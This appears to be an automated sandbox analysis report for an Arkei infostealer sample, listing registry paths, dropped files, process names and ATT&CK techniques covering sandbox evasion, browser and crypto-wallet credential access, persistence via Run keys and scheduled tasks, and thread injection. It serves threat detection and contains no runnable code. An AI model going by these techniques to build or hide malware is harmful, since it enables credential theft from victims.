arkei | f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskkill.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskkill.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	yMDamSKSiouG79_U94ch4vmJ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	owX0G5_GUDWPa_fzwkIm0e4W.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	BgaiSDAxaCZitxU3bJduFNb_.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	_2GWQ18h_NVs1ytXbqkt57p7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	OOyEleK.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	jobiea_3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	jobiea_6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	ilJcChbIYQsMi5m9zVwraY8F.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	FNVMO9p508RYb3s8DjzFVCxj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	gJpg6f8V2imTo9Dwp2fO9iiv.exe

Loads dropped DLL 20 IoCs

pid	Process
5092	setup_install.exe
5092	setup_install.exe
5092	setup_install.exe
5092	setup_install.exe
5092	setup_install.exe
5092	setup_install.exe
4688	jobiea_2.exe
3492	rUNdlL32.eXe
2752	BgaiSDAxaCZitxU3bJduFNb_.exe
2752	BgaiSDAxaCZitxU3bJduFNb_.exe
5052	AppLaunch.exe
5052	AppLaunch.exe
2328	iwfjvuu
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
4744	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\dada = "C:\\Users\\Admin\\Documents\\owX0G5_GUDWPa_fzwkIm0e4W.exe"	owX0G5_GUDWPa_fzwkIm0e4W.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mzqdjnr = "\"C:\\Users\\Admin\\AppData\\Roaming\\Lmeurft\\Mzqdjnr.exe\""	_2GWQ18h_NVs1ytXbqkt57p7.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	OOyEleK.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	OOyEleK.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	OOyEleK.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ipinfo.io
7	ipinfo.io
8	ip-api.com

Drops file in System32 directory 34 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	lOzOcng.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	lOzOcng.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	OOyEleK.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42F5672C93743CEB7A490AEA00E50796	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	OOyEleK.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	OOyEleK.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	OOyEleK.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42F5672C93743CEB7A490AEA00E50796	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	OOyEleK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	OOyEleK.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3556	tvxuvr2GSyJNe8El3APETynA.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 4860 set thread context of 3856	4860	jobiea_7.exe	99
PID 2016 set thread context of 4176	2016	uIyoiVNWilQvd0wLaJ6xqRKV.exe	154
PID 1516 set thread context of 3756	1516	Ki7XQppENQqJ2YuBUymmE8Or.exe	145
PID 3372 set thread context of 5052	3372	WerFault.exe	155
PID 4044 set thread context of 4788	4044	taskkill.exe	170
PID 1252 set thread context of 1968	1252	Conhost.exe	203
PID 3212 set thread context of 2732	3212	_2GWQ18h_NVs1ytXbqkt57p7.exe	265
PID 868 set thread context of 3916	868	Accostarmi.exe.pif	297

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\QMuGxDzxU\TfCyIGQ.xml	OOyEleK.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\EHhUioN.xml	OOyEleK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	OOyEleK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	OOyEleK.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\XTgZEoqvdTtGy.dll	OOyEleK.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\UUztWFw.dll	OOyEleK.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\XocBDHg.xml	OOyEleK.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	OOyEleK.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\HNFIVRS.xml	OOyEleK.exe
File created	C:\Program Files (x86)\rYNYBiCjmUUn\gQLPnVn.dll	OOyEleK.exe
File created	C:\Program Files (x86)\QMuGxDzxU\TZovTG.dll	OOyEleK.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	OOyEleK.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	OOyEleK.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\WLBPpjW.dll	OOyEleK.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\booXbIzkEgfNdKvxAC.job	schtasks.exe
File created	C:\Windows\Tasks\CHeJVxoJwhzmREGSo.job	schtasks.exe
File created	C:\Windows\Tasks\cPyDayBYNpjUpuO.job	schtasks.exe
File created	C:\Windows\Tasks\oCvyuKWvFtUoYKNPA.job	schtasks.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 22 IoCs

pid	pid_target	Process	procid_target
4932	3492	WerFault.exe	100
3216	4392	WerFault.exe	84
3444	4776	WerFault.exe	118
4064	4072	WerFault.exe	122
448	4300	WerFault.exe
3296	3912	WerFault.exe
1988	4176	WerFault.exe	154
1792	3912	WerFault.exe	150
4148	4300	WerFault.exe	147
3104	4072	WerFault.exe	122
2764	4776	WerFault.exe	118
4148	4960	WerFault.exe	128
4988	4460	WerFault.exe	127
4544	4776	WerFault.exe	118
2924	4776	WerFault.exe	118
4212	1252	WerFault.exe	193
2076	4776	WerFault.exe	118
3656	4776	WerFault.exe	118
4576	4776	WerFault.exe	118
1476	3120	WerFault.exe	131
4240	3120	WerFault.exe	131
4824	3120	WerFault.exe	131

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jobiea_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jobiea_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iwfjvuu
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iwfjvuu
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jobiea_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Lxjwaytgkwrfchptbandzip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	rvfjvuu
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	rvfjvuu
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	rvfjvuu
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iwfjvuu

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	737b90e3-b6e3-4263-8be3-03085c24b26e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	737b90e3-b6e3-4263-8be3-03085c24b26e.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	BgaiSDAxaCZitxU3bJduFNb_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	FiKGQO1tnaLU94sIdrV3AYbm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	BgaiSDAxaCZitxU3bJduFNb_.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4664	schtasks.exe
3576	schtasks.exe
3376	schtasks.exe
3408	schtasks.exe
4364	schtasks.exe
2924	schtasks.exe
3492	schtasks.exe
4928	schtasks.exe
4848	schtasks.exe
3960	schtasks.exe
2316	schtasks.exe
4180	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4912	timeout.exe
2332	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
1708	tasklist.exe
3376	tasklist.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
4044	taskkill.exe
5068	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	OOyEleK.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{1385018a-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "1"	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	OOyEleK.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	OOyEleK.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
